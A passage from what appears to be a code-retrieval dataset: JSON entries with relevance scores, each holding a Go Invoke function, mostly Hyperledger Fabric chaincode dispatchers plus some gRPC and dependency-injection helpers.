if fn == \"getTotalPower\" {\n\t\treturn t.getTotalPower(stub, args)\n\t} else if fn == \"getPrice\" {\n\t\treturn t.getPrice(stub, args)\n\t} else if fn == \"setPrice\" {\n\t\treturn t.setPrice(stub, args)\n\t} else if fn == \"getAllSeller\" {\n\t\treturn t.getAllSeller(stub, args)\n\t} else if fn == \"sellPower\" {\n\t\treturn t.sellPower(stub, args)\n\t} else if fn == \"setPower\" {\n\t\treturn t.setPower(stub, args)\n\t}\n\n\t// error function name\n\treturn shim.Error(\"Invalid invoke function name.\")\n}", "title": "" }, { "docid": "ab4d817e8cc6c753aea11be654eced7e", "score": "0.58717823", "text": "func (t *MyChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tlogger.Info(\"########### example_cc0 Invoke ###########\")\n\n\tfunction, args := stub.GetFunctionAndParameters()\n\n\tswitch function {\n\tcase \"createAsset\":\n\t\treturn t.createAsset(stub, args)\n\tcase \"addPubKey\":\n\t\treturn t.addPubKey(stub, args)\n\tcase \"lockAsset\":\n\t\treturn t.lockAsset(stub, args)\n\tcase \"setProperty\":\n\t\treturn t.setProperty(stub, args)\n\tcase \"verify\":\n\t\treturn t.verify(stub, args)\n\tcase \"query\":\n\t\treturn t.query(stub, args)\n\tdefault:\n\t\tmsg := fmt.Sprintf(\"Unknown action, check the first argument, must be one of \"+\n\t\t\t\"'delete', 'query', or 'move'. But got: %v\", args[0])\n\t\tlogger.Errorf(msg)\n\t\treturn shim.Error(msg)\n\t}\n}", "title": "" }, { "docid": "d9497cd3322aa8a47cc19236e454a3ae", "score": "0.58665705", "text": "func Invoke(store dawdle.Store, registrar dawdle.Registrar, task dawdle.Task) error {\n\t// log.Printf(\"Invoking Task: %s \\nArgs: %s\", task.ID, string(task.Args))\n\tin := dawdle.NewInvocation(task.ID)\n\n\t// save regardless of the outcome\n\tdefer func() {\n\t\tif err := store.Tasks().Save(task); err != nil {\n\t\t\t// TODO: log\n\t\t}\n\n\t\tif err := store.Invocations().Save(in); err != nil {\n\t\t\t// TODO: log\n\t\t}\n\t}()\n\n\tconverter, err := registrar.Fetch(task.FuncName)\n\tif err != nil {\n\t\thandleFailure(&task, &in, err)\n\t\treturn err\n\t}\n\n\tperformer, err := converter(task)\n\tif err != nil {\n\t\thandleFailure(&task, &in, err)\n\t\treturn err\n\t}\n\n\tif err = performer.Perform(); err != nil {\n\t\thandleFailure(&task, &in, err)\n\t\treturn err\n\t}\n\n\t// edit before saving\n\ttask.Status = dawdle.PassedTaskStatus\n\ttask.Mark(timestamps.Updated)\n\tin.Result = true\n\n\treturn nil\n}", "title": "" }, { "docid": "c6cdb4a805c4bd4a2ec513254924ccd0", "score": "0.5866217", "text": "func (ptr *BtrFaaS) Invoke(ctx context.Context, options *faas.InvokeOptions) error {\n\tchain, opts, err := createCallRequest(options.FunctionExpression)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Create a certificate pool from the certificate authority\n\tcertPool := x509.NewCertPool()\n\thome, err := homedir.Dir()\n\tif err != nil {\n\t\treturn err\n\t}\n\tca, err := ioutil.ReadFile(filepath.Join(home, \".btrfaas\", options.EnvironmentID, \"ca-cert.pem\"))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not read ca certificate: %s\", err)\n\t}\n\n\t// Append the certificates from the CA\n\tif ok := certPool.AppendCertsFromPEM(ca); !ok {\n\t\treturn errors.New(\"failed to append ca certs\")\n\t}\n\n\tcreds := credentials.NewTLS(&tls.Config{\n\t\tServerName: \"fgateway\",\n\t\tRootCAs: certPool,\n\t})\n\tcli, err := grpc.NewClient(options.GatewayAddress, g.WithTransportCredentials(creds))\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn cli.Run(ctx, chain, opts, options.Input, options.Output)\n}", "title": "" }, { "docid": "d5224726de75feece01be6d6f6aff7bc", "score": "0.583678", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\t// Handle different functions\n\tif function == \"createAsset\" {\n\t\t// create assetID\n\t\treturn t.createAsset(stub, args)\n\t} else if function == \"updateAsset\" {\n\t\t// create assetID\n\t\treturn t.updateAsset(stub, args)\n\t} else if function == \"deleteAsset\" {\n\t\t// Deletes an asset by ID from the ledger\n\t\treturn t.deleteAsset(stub, args)\n\t}\n\treturn nil, errors.New(\"Received unknown invocation: \" + function)\n}", "title": "" }, { "docid": "2d28072a70ce17b5022b0d3a3f2d0c4b", "score": "0.5829453", "text": "func (c *Context) Invoke(method string, argv interface{}) error {\n\tdptor := c.owner.getDescriptor(method)\n\tif dptor == nil {\n\t\treturn fmt.Errorf(\"invoke unknown method:%s\", method)\n\t}\n\n\tif dptor.HasReply() {\n\t\treturn fmt.Errorf(\"canot invoke method %s, use call instead\", method)\n\t}\n\n\tif !dptor.MatchArgType(reflect.TypeOf(argv)) {\n\t\treturn fmt.Errorf(\"invoke method %s with unmatch argv\", method)\n\t}\n\n\tvar pack proto_base.Pack\n\tpack.Session = proto.Int32(0)\n\tpack.Type = proto.Int32(dptor.Id)\n\tpack.Data, _ = proto.Marshal(argv.(proto.Message))\n\n\tc.writePack(&pack)\n\treturn nil\n}", "title": "" }, { "docid": "1399a0cfa4ea2a36d5a0e667c22184f9", "score": "0.5815819", "text": "func (g *GameCC) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tlogger := shim.NewLogger(\"Game !\")\n\tfunction, args := stub.GetFunctionAndParameters()\n\tlogger.Info(\"function name = %s\", function)\n\tfmt.Println(\"invoke is running \" + function)\n\t// Handle different functions\n\tswitch function {\n\tcase \"addUser\":\n\t\treturn g.addUser(stub, args)\n\tcase \"readUserInfo\":\n\t\treturn g.readUserInfo(stub, args)\n\tcase \"readUserList\":\n\t\t//create a new marble\n\t\treturn g.readUserList(stub)\n\tdefault:\n\t\t//error\n\t\tfmt.Println(\"invoke did not find func: \" + function)\n\t\treturn shim.Error(\"Received unknown function invocation\")\n\t}\n}", "title": "" }, { "docid": "4884d5c0367c683c7270ef224535de27", "score": "0.58106834", "text": "func (cc *ClientConn) Invoke(ctx context.Context, method string, args interface{}, reply interface{}) error {\n\t// Ensure the connection state is ready\n\tif cc.conn.state != connectivity.Ready {\n\t\treturn errors.New(\"connection is not ready\")\n\t}\n\n\tcallID := uuid.NewString()\n\treq, err := message.NewRequest(callID, method, args)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treqB, err := proto.Marshal(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcc.mu.Lock()\n\twait := cc.registerMethodCall(callID)\n\tcc.mu.Unlock()\n\n\tcc.conn.transport.Write(reqB)\n\n\t// Wait for the response\n\tselect {\n\tcase resp := <-wait:\n\t\t// Handle error\n\t\tif resp.Error != \"\" {\n\t\t\treturn errors.New(resp.Error)\n\t\t}\n\n\t\t// Unmarshal the payload into the reply\n\t\terr := UnmarshalProtoMessage(resp.GetPayload(), reply)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tcase <-time.After(2 * time.Second): // TODO - Make this configurable\n\t\t// Remove the call since we have timeout\n\t\tcc.mu.Lock()\n\t\tcc.removeMethodCall(callID)\n\t\tcc.mu.Unlock()\n\t\treturn errors.New(\"call timeout\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "c13447031c308cc0dabaac14ba549203", "score": "0.5806563", "text": "func (kc *KContext) Invoke(methodName string, args map[string][]byte) ([]byte, error) {\n\tmethod := kc.xk.methods[methodName]\n\tif method == nil {\n\t\treturn nil, fmt.Errorf(\"Mehotd %s not exists in %s\", methodName, ModuleName)\n\t}\n\tres, err := method.Invoke(kc, args)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn res, nil\n}", "title": "" }, { "docid": "2dfe50e923e2ebccdbb3063042ea737c", "score": "0.58007514", "text": "func (t *AssetsChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\n\tfmt.Println(\"invoke is running \" + function)\n\n\tswitch function {\n\tcase \"init\":\n\t\treturn t.Init(stub, \"init\", args)\n\n\tcase \"create\":\n\t\treturn t.createAsset(stub, args)\n\t}\n\n\treturn nil, errors.New(\"Received unknown function invocation: \" + function)\n}", "title": "" }, { "docid": "a1dff723317824057ee8094f341a63aa", "score": "0.5799656", "text": "func (c *ServiceContainer) Invoke(f interface{}) {\n\tc.Call(f)\n}", "title": "" }, { "docid": "db85e1a2ff51f26a4943ca81de61be3c", "score": "0.57960886", "text": "func Invoke(function interface{}, opts ...dig.InvokeOption) error {\n\treturn container.Invoke(function, opts...)\n}", "title": "" }, { "docid": "58315c17f5855cd1f577ed1df771a8f4", "score": "0.57924885", "text": "func newInvocation(name string, def ast.Node, fn Symbol, args []Symbol) *Invocation {\n\treturn &Invocation{\n\t\tsymbol: symbol{\n\t\t\tname: name,\n\t\t\tdef: def,\n\t\t},\n\t\tfn: fn,\n\t\targs: args,\n\t}\n}", "title": "" }, { "docid": "b8166f8b20a8454fcf5033a8c7d26d76", "score": "0.5790368", "text": "func (s *schedule) Invoke() {\n\t// TODO perhaps move this to \"Validate()\" to be called by ScheduleAll\n\tif &s.invokeFunc == nil {\n\t\tlog.Printf(\"WARNING, this schedule is not properly configured, the schedule description is '%s' and crontab syntax is '%s'\", s.Description(), s.CrontabSyntax())\n\t\treturn\n\t\t// otherwise runtime error: Crontab error runtime error: invalid memory address or nil pointer dereference\n\t}\n\ts.invokeFunc(s.injectedStatsChan)\n}", "title": "" }, { "docid": "e4908e0634914ed47e9a1e02a58768bb", "score": "0.57850695", "text": "func (c *Client) Invoke(ctx context.Context, task containerd.Task, state types.State) ([]*types.Result, error) {\n\treturn c.InvokeWithSandbox(ctx, task, state, nil)\n}", "title": "" }, { "docid": "2cc66c674478540db2924e6d51865655", "score": "0.5784452", "text": "func (t *LoyaltyProgramChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\n\tif function == \"AddMerchant\" {\n\t\treturn t.AddNewMerchantDetails(stub, args)\n\t}else if function == \"test\"{\n\t\treturn t.testFunction(stub, args)\n\t}\n\treturn nil, nil\n}", "title": "" }, { "docid": "0e5f2fa67e499fc473bc699070a0899a", "score": "0.57776034", "text": "func (client *FabricClient) Invoke(ccID string, fcn string, args [][]byte) error {\n\tlog.Printf(\"Invoking function %s\", fcn)\n\ttxNotifier := make(chan apitxn.ExecuteTxResponse)\n\ttxFilter := &TestTxFilter{}\n\ttxOpts := apitxn.ExecuteTxOpts{Notifier: txNotifier, TxFilter: txFilter}\n\n\t_, err := client.setup.ChannelClient.ExecuteTxWithOpts(apitxn.ExecuteTxRequest{ChaincodeID: ccID, Fcn: fcn, Args: args}, txOpts)\n\tif err != nil {\n\t\tlog.Printf(\"Failed to move funds: %s\", err)\n\t\treturn err\n\t}\n\n\tselect {\n\tcase response := <-txNotifier:\n\t\tif response.Error != nil {\n\t\t\tlog.Printf(\"ExecuteTx returned error: %s\", response.Error)\n\t\t\treturn err\n\t\t}\n\t\tif response.TxValidationCode != pb.TxValidationCode_VALID {\n\t\t\tlog.Printf(\"Expecting TxValidationCode to be TxValidationCode_VALID but received: %s\", response.TxValidationCode)\n\t\t\treturn err\n\t\t}\n\tcase <-time.After(time.Second * 20):\n\t\tlog.Printf(\"ExecuteTx timed out\")\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "aee53b30f95d699b31f13dad544a399e", "score": "0.5769012", "text": "func (cc *ClientConn) Invoke(md metadata.MD, method string, input []byte) (result []byte, header metadata.MD, err error) {\n\terr = cc.C.Invoke(metadata.NewOutgoingContext(context.Background(), md),\n\t\tmethod, &input, &result, grpc.Header(&header))\n\treturn\n}", "title": "" }, { "docid": "863519ece2a981bd7d8446091bd5c93f", "score": "0.5755129", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" {\t\t\t\t\t\t\t\t\t\t\t\t\t//initialize the chaincode state, used as reset\n\t\treturn t.Init(stub, \"init\", args)\n\t} else if function == \"write\" {\t\t\t\t\t\t\t\t\t\t\t//writes a value to the chaincode state\n\t\treturn t.Write(stub, args)\n\t} else if function == \"create_invoice\" {\t\t\t\t\t\t\t\t\t//create a new invoice\n\t\treturn t.create_invoice(stub, args)\n\telse if function == \"create_account\" {\t\t\t\t\t\t\t\t\t//create a new account\n\t\treturn t.create_invoice(stub, args)\n\telse if function == \"create_payment\" {\t\t\t\t\t\t\t\t\t//create a new payment\n\t\treturn t.create_invoice(stub, args)\n\t} else if function == \"set_user\" {\t\t\t\t\t\t\t\t\t\t//change owner of a invoice\n\t\tres, err := t.set_user(stub, args)\n\t\tcleanTrades(stub)\t\t\t\t\t\t\t\t\t\t\t\t\t//lets make sure all open trades are still valid\n\t\treturn res, err\n\t} else if function == \"open_trade\" {\t\t\t\t\t\t\t\t\t//create a new trade order\n\t\treturn t.open_trade(stub, args)\n\t} else if function == \"perform_trade\" {\t\t\t\t\t\t\t\t\t//forfill an open trade order\n\t\tres, err := t.perform_trade(stub, args)\n\t\tcleanTrades(stub)\t\t\t\t\t\t\t\t\t\t\t\t\t//lets clean just in case\n\t\treturn res, err\n\t} else if function == \"remove_trade\" {\t\t\t\t\t\t\t\t\t//cancel an open trade order\n\t\treturn t.remove_trade(stub, args)\n\t}\n\tfmt.Println(\"invoke did not find func: \" + function)\t\t\t\t\t//error\n\n\treturn nil, errors.New(\"Received unknown function invocation\")\n}\n\n// ============================================================================================================================\n// Query - Our entry point for Queries\n// ============================================================================================================================\nfunc (t *SimpleChaincode) Query(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"query is running \" + function)\n\n\t// Handle different functions\n\tif function == \"read\" {\t\t\t\t\t\t\t\t\t\t\t\t\t//read a variable\n\t\treturn t.read(stub, args)\n\t}\n\tfmt.Println(\"query did not find func: \" + function)\t\t\t\t\t\t//error\n\n\treturn nil, errors.New(\"Received unknown function query\")\n}", "title": "" }, { "docid": "9ee951e073b676746d28841e43a8ee1f", "score": "0.575455", "text": "func (invokableSelf *DefaultInvokable[T]) Invoke(val T) {\n\tcallee := invokableSelf.callee\n\tinvokableSelf.workerPool.Schedule(func() {\n\t\tcallee(val)\n\t})\n}", "title": "" }, { "docid": "543511bb87c2e64c69cdbb226b603a76", "score": "0.57351756", "text": "func (c *Cluster) Invoke(msg *RequestPkt, resp *RespPkt) (err error) {\n\tlog.Printf(\"cluster: Invoke request received from peer '%s' appname '%s'\", msg.PeerName, msg.AppName)\n\t// the cluster peers may be in election phase\n\tif msg.Signature != c.signature {\n\t\tlog.Warnf(\"cluster.Invoke: the cluster peers may be in election phase\")\n\t\tresp.Code = 500\n\t\tresp.PeerValue = &PeerValue{c.thisName, c.listenOn}\n\t\treturn\n\t}\n\tvar result proto.Message\n\tpr := core.NewPeerRouter(msg.PeerName, msg.AppName)\n\tif result, err = c.delegate.RouteOut(pr, msg.Pkt); err != nil {\n\t\tlog.WithError(err).Errorf(\"cluster: error found when remote invoke RouteOut method\")\n\t\tresp.Code = 500\n\t} else {\n\t\tresp.Code = 200\n\t\tresp.Pkt = result\n\t}\n\tresp.PeerValue = &PeerValue{c.thisName, c.listenOn}\n\treturn\n}", "title": "" }, { "docid": "4ccd3164e8202fcb1b1ccc98a96cf9f3", "score": "0.57347447", "text": "func (t *MarathonChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Printf(\"## invoke is running function: %s ##\\n\", function)\n\n\t// Handle different functions\n\tif function == \"addParticipantInfo\" {\n\t\treturn addParticipantInfo(stub, args)\n\t} else if function == \"updateParticipantInfo\" {\n\t\treturn updateParticipantInfo(stub, args)\n\t} else if function == \"queryParticipantPoint\" {\n\t\treturn queryParticipantPoint(stub, args)\n\t} else if function == \"addMatchEnrollScoreInfo\" {\n\t\treturn addMatchEnrollScoreInfo(stub, args)\n\t} else if function == \"updateMatchEnrollScoreInfo\" {\n\t\treturn updateMatchEnrollScoreInfo(stub, args)\n\t} else if function == \"queryParticipantInfo\" || function == \"queryMatchEnrollScoreInfo\" ||\n\t\tfunction == \"queryMatchInfo\" {\n\t\treturn queryHelper(function, stub, args)\n\t} else if function == \"queryHistoryParticipantInfo\" || function == \"queryHistoryMatchEnrollScoreInfo\" ||\n\t\tfunction == \"queryHistoryMatchInfo\" {\n\t\treturn queryHistoryHelper(function, stub, args)\n\t} else if function == \"queryMatchInfoBasedOnUser\" {\n\t\treturn queryMatchInfoBasedOnUser(stub, args)\n\t} else if function == \"addMatchInfo\" {\n\t\treturn addMatchInfo(stub, args)\n\t} else if function == \"updateMatchInfo\" {\n\t\treturn updateMatchInfo(stub, args)\n\t}\n\n\tfmt.Printf(\"!! invalid function: %s !!\", function)\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "fd7e8194eb3dc8fb299c3c79688b6200", "score": "0.57332075", "text": "func (ccs *CrossChainSwapChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tf, params := stub.GetFunctionAndParameters()\n\tccs.swap = &CrossChainSwap{}\n\n\t// Initialize caller props for use in handlers\n\tcert, _ := cid.GetX509Certificate(stub)\n\tcaller = &CallerProps{args: params, cert: cert, stub: stub}\n\n\t// Dispatch to appropriate handler based on supplied func name\n\t// TODO: Handle potential panics\n\tv := reflect.ValueOf(ccs).MethodByName(f + \"Handler\").Call([]reflect.Value{})\n\treturn v[0].Interface().(pb.Response)\n}", "title": "" }, { "docid": "adea4a7914313133eca231e464106678", "score": "0.57283723", "text": "func Invoke(ic *interop.Context) error {\n\tcb := ic.VM.Estack().Pop().Interop().Value().(Callback)\n\targs := ic.VM.Estack().Pop().Array()\n\tif cb.ArgCount() != len(args) {\n\t\treturn errors.New(\"invalid argument count\")\n\t}\n\tcb.LoadContext(ic.VM, args)\n\tswitch t := cb.(type) {\n\tcase *MethodCallback:\n\t\tid := interopnames.ToID([]byte(interopnames.SystemContractCall))\n\t\treturn ic.SyscallHandler(ic.VM, id)\n\tcase *SyscallCallback:\n\t\treturn ic.SyscallHandler(ic.VM, t.desc.ID)\n\tdefault:\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "d43a8ce44a055a31a17c863f84f39a3a", "score": "0.57041955", "text": "func (ctx *Context) Invoke(tok string, args interface{}, result interface{}, opts ...InvokeOption) (err error) {\n\tif tok == \"\" {\n\t\treturn errors.New(\"invoke token must not be empty\")\n\t}\n\n\tresultV := reflect.ValueOf(result)\n\tif !(resultV.Kind() == reflect.Ptr &&\n\t\t(resultV.Elem().Kind() == reflect.Struct ||\n\t\t\t(resultV.Elem().Kind() == reflect.Map && resultV.Elem().Type().Key().Kind() == reflect.String))) {\n\t\treturn errors.New(\"result must be a pointer to a struct or map value\")\n\t}\n\n\toptions, err := NewInvokeOptions(opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Note that we're about to make an outstanding RPC request, so that we can rendezvous during shutdown.\n\tif err = ctx.beginRPC(); err != nil {\n\t\treturn err\n\t}\n\tdefer ctx.endRPC(err)\n\n\tvar providerRef string\n\tproviders, err := ctx.mergeProviders(tok, options.Parent, options.Provider, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif provider := providers[getPackage(tok)]; provider != nil {\n\t\tpr, err := ctx.resolveProviderReference(provider)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tproviderRef = pr\n\t}\n\n\t// Serialize arguments. Outputs will not be awaited: instead, an error will be returned if any Outputs are present.\n\tif args == nil {\n\t\targs = struct{}{}\n\t}\n\tresolvedArgs, _, err := marshalInput(args, anyType, false)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"marshaling arguments: %w\", err)\n\t}\n\n\tresolvedArgsMap := resource.PropertyMap{}\n\tif resolvedArgs.IsObject() {\n\t\tresolvedArgsMap = resolvedArgs.ObjectValue()\n\t}\n\n\trpcArgs, err := plugin.MarshalProperties(\n\t\tresolvedArgsMap,\n\t\tctx.withKeepOrRejectUnknowns(plugin.MarshalOptions{\n\t\t\tKeepSecrets: true,\n\t\t\tKeepResources: ctx.keepResources,\n\t\t}),\n\t)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"marshaling arguments: %w\", err)\n\t}\n\n\t// Now, invoke the RPC to the provider synchronously.\n\tlogging.V(9).Infof(\"Invoke(%s, #args=%d): RPC call being made synchronously\", tok, len(resolvedArgsMap))\n\tresp, err := ctx.monitor.Invoke(ctx.ctx, &pulumirpc.ResourceInvokeRequest{\n\t\tTok: tok,\n\t\tArgs: rpcArgs,\n\t\tProvider: providerRef,\n\t\tVersion: options.Version,\n\t\tPluginDownloadURL: options.PluginDownloadURL,\n\t\tAcceptResources: !disableResourceReferences,\n\t})\n\tif err != nil {\n\t\tlogging.V(9).Infof(\"Invoke(%s, ...): error: %v\", tok, err)\n\t\treturn err\n\t}\n\n\t// If there were any failures from the provider, return them.\n\tif len(resp.Failures) > 0 {\n\t\tlogging.V(9).Infof(\"Invoke(%s, ...): success: w/ %d failures\", tok, len(resp.Failures))\n\t\tvar ferr error\n\t\tfor _, failure := range resp.Failures {\n\t\t\tferr = multierror.Append(ferr,\n\t\t\t\tfmt.Errorf(\"%s invoke failed: %s (%s)\", tok, failure.Reason, failure.Property))\n\t\t}\n\t\treturn ferr\n\t}\n\n\t// Otherwise, simply unmarshal the output properties and return the result.\n\toutProps, err := plugin.UnmarshalProperties(\n\t\tresp.Return,\n\t\tctx.withKeepOrRejectUnknowns(plugin.MarshalOptions{\n\t\t\tKeepSecrets: true,\n\t\t\tKeepResources: true,\n\t\t}),\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// fail if there are secrets returned from the invoke\n\thasSecret, err := unmarshalOutput(ctx, resource.NewObjectProperty(outProps), resultV.Elem())\n\tif err != nil {\n\t\treturn err\n\t}\n\tif hasSecret {\n\t\treturn errors.New(\"unexpected secret result returned to invoke call\")\n\t}\n\tlogging.V(9).Infof(\"Invoke(%s, ...): success: w/ %d outs (err=%v)\", tok, len(outProps), err)\n\treturn nil\n}", "title": "" }, { "docid": "56e03a00fec2da69dec96d4fcbc7994f", "score": "0.5698739", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n fmt.Println(\"########### example_cc Invoke ###########\")\n\tfunction, args := stub.GetFunctionAndParameters()\n\t\n\tif function != \"invoke\" {\n return shim.Error(\"Unknown function call\")\n\t}\n\n\tif len(args) < 2 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting at least 2\")\n\t}\n\t//设计合约\n\tif args[0]==\"bigswap\"{\n\t\treturn t.bigswap(stub,args)\n\t}\n\treturn shim.Error(\"Unknown action, check the first argument, must be one of 'delete', 'query', or 'move'\")\n}", "title": "" }, { "docid": "2f9a9b6354e8d2a764f9ac63f76bc7c3", "score": "0.56925195", "text": "func (t *SeedChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfmt.Println(\"########### SeedChaincode Invoke ###########\")\n\n\t// Get the function and arguments from the request\n\tfunction, args := stub.GetFunctionAndParameters()\n\n\t// Check whether it is an invoke request\n\tif function != \"invoke\" {\n\t\treturn shim.Error(\"Unknown function call\")\n\t}\n\n\t// Check whether the number of arguments is sufficient\n\tif len(args) < 1 {\n\t\treturn shim.Error(\"The number of arguments is insufficient.\")\n\t}\n\n\t// In order to manage multiple type of request, we will check the first argument.\n\t// Here we have one possible argument: query (every query request will read in the ledger without modification)\n\tif args[0] == \"query\" {\n\t\treturn t.query(stub, args)\n\t}\n\n\t// The update argument will manage all update in the ledger\n\tif args[0] == \"invoke\" {\n\t\treturn t.invoke(stub, args)\n\t}\n\n\tif args[0] == \"updateTest\" {\n\t\treturn t.updateTest(stub, args)\n\t}\n\n\tif args[0] == \"updateCertification\" {\n\t\treturn t.updateCertification(stub, args)\n\t}\n\n\tif args[0] == \"updateDist\" {\n\t\treturn t.updateDist(stub, args)\n\t}\n\n\tif args[0] == \"getHistory\" {\n\t\treturn t.getHistory(stub, args)\n\t}\n\n\t// If the arguments given don’t match any function, we return an error\n\treturn shim.Error(\"Unknown action, check the first argument\")\n}", "title": "" }, { "docid": "5d44f79108288ec1e5b332ad68d578cd", "score": "0.5666322", "text": "func (i *InlineHookInvoker) Invoke(req *SyncHookRequest, resp *SyncHookResponse) error {\n\tfn := inlineHookRegistryInstance.invokeFuncs[i.FuncName]\n\tif fn == nil {\n\t\treturn errors.Errorf(\n\t\t\t\"Inline hook function not found for %s\", i.FuncName,\n\t\t)\n\t}\n\treturn fn(req, resp)\n}", "title": "" }, { "docid": "53194d7f57c3d48a0109bfab1c366296", "score": "0.56588984", "text": "func (c *ChaincodeTemplate) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\n\t// Get the passed function name (for the shim), and the arguments\n\t// The first returned value is the function name\n\tfunction, args := stub.GetFunctionAndParameters()\n\tif function == \"invoke\" {\n\t\treturn c.invoke(stub, args)\n\t} else if function == \"delete\" {\n\t\treturn c.delete(stub, args)\n\t} else if function == \"query\" {\n\t\treturn c.query(stub, args)\n\t}\n\treturn shim.Error(\"Invalid invoke function name. Expecting \\\"invoke\\\" \\\"delete\\\" \\\"query\\\"\")\n}", "title": "" }, { "docid": "703fe2bfe297eb72de58dad1bed45217", "score": "0.56517583", "text": "func (t *AuditproChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"createLedgerEntry\" { //create a new Ledger Entry\n\t\treturn t.createLedgerEntry(stub, args)\n\t} else if function == \"updateLedgerEntry\" { //update Ledger Entry\n\t\treturn t.updateLedgerEntry(stub, args)\n\t} else if function == \"getLedgerEntry\" { //get Ledger Entry details\n\t\treturn t.getLedgerEntry(stub, args)\n\t} else if function == \"getAllLedgerEntries\" { //get all Ledger Entries\n\t\treturn t.getAllLedgerEntries(stub)\n\t} else if function == \"getLedgerEntriesForQuery\" { //get all Ledger Entries for query\n\t\treturn t.getLedgerEntriesForQuery(stub, args)\n\t} else if function == \"getHistoryForLedgerEntry\" { //get history for Ledger Entry\n\t\treturn t.getHistoryForLedgerEntry(stub, args)\n\t} else if function == \"getLedgerEntriesForCriteria\" { //get Ledger Entries for criteria\n\t\treturn t.getLedgerEntriesForCriteria(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "fab6ff5e8252ab3b9c7151cb81c4b118", "score": "0.5645014", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"initMarble\" { // create a new marble\n\t\treturn t.initMarble(stub, args)\n\t} else if function == \"transferMarble\" { // change owner of a specific marble\n\t\treturn t.transferMarble(stub, args)\n\t} else if function == \"transferMarblesBasedOnColor\" { // transfer all marbles of a certain color\n\t\treturn t.transferMarblesBasedOnColor(stub, args)\n\t} else if function == \"delete\" { // delete a marble\n\t\treturn t.delete(stub, args)\n\t} else if function == \"readMarble\" { // read a marble\n\t\treturn t.readMarble(stub, args)\n\t} else if function == \"queryMarblesByOwner\" { // find marbles for owner X using rich query\n\t\treturn t.queryMarblesByOwner(stub, args)\n\t} else if function == \"queryMarbles\" { // find marbles based on an ad hoc rich query\n\t\treturn t.queryMarbles(stub, args)\n\t} else if function == \"getHistoryForMarble\" { // get history of values for a marble\n\t\treturn t.getHistoryForMarble(stub, args)\n\t} else if function == \"getMarblesByRange\" { // get marbles based on range query\n\t\treturn t.getMarblesByRange(stub, args)\n\t} else if function == \"getMarblesByRangeWithPagination\" {\n\t\treturn t.getMarblesByRangeWithPagination(stub, args)\n\t} else if function == \"queryMarblesWithPagination\" {\n\t\treturn t.queryMarblesWithPagination(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function) // error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "d46a123ceb510e21d1dc7439a9ee4f09", "score": "0.5634814", "text": "func (s *SmartContract) Invoke(APIstub shim.ChaincodeStubInterface) sc.Response {\n\n\t// Retrieve the requested Smart Contract function and arguments\n\tfunction, args := APIstub.GetFunctionAndParameters()\n\t// Route to the appropriate handler function to interact with the ledger\n\tif function == \"initLedger\" {\n\t\treturn s.initLedger(APIstub)\n\t} else if function == \"queryAllTests\" {\n\t\treturn s.queryAllTests(APIstub)\n\t} else if function == \"queryTestById\" {\n\t\treturn s.queryTestById(APIstub, args)\n\t} else if function == \"createTestForGroup\" {\n\t\treturn s.createTestForGroup(APIstub, args)\n\t} else if function == \"queryTestByStudent\" {\n\t\treturn s.queryTestByStudent(APIstub, args)\n\t} else if function == \"prepareForExam\" {\n\t\treturn s.prepareForExam(APIstub, args)\n\t} else if function == \"takeTheTest\" {\n\t\treturn s.takeTheTest(APIstub, args)\n\t}\n\n\treturn shim.Error(\"Invalid Smart Contract function name.\")\n}", "title": "" }, { "docid": "418b5a4469c11dd2058804046ee40d36", "score": "0.5606785", "text": "func (c *Caller) invoke(w http.ResponseWriter, r *http.Request) {\n\tlog.Debug(\"Entering invoke function\")\n\tstack := \"[\" + c.servicename + \" \" + c.version\n\tif c.target == \"\" {\n\t\tlog.Info(\"no externall call\")\n\t} else {\n\t\ttargetTab := strings.Split(c.target, \",\")\n\t\tfor i, s := range targetTab {\n\t\t\ttargetURL := \"http://\" + s + 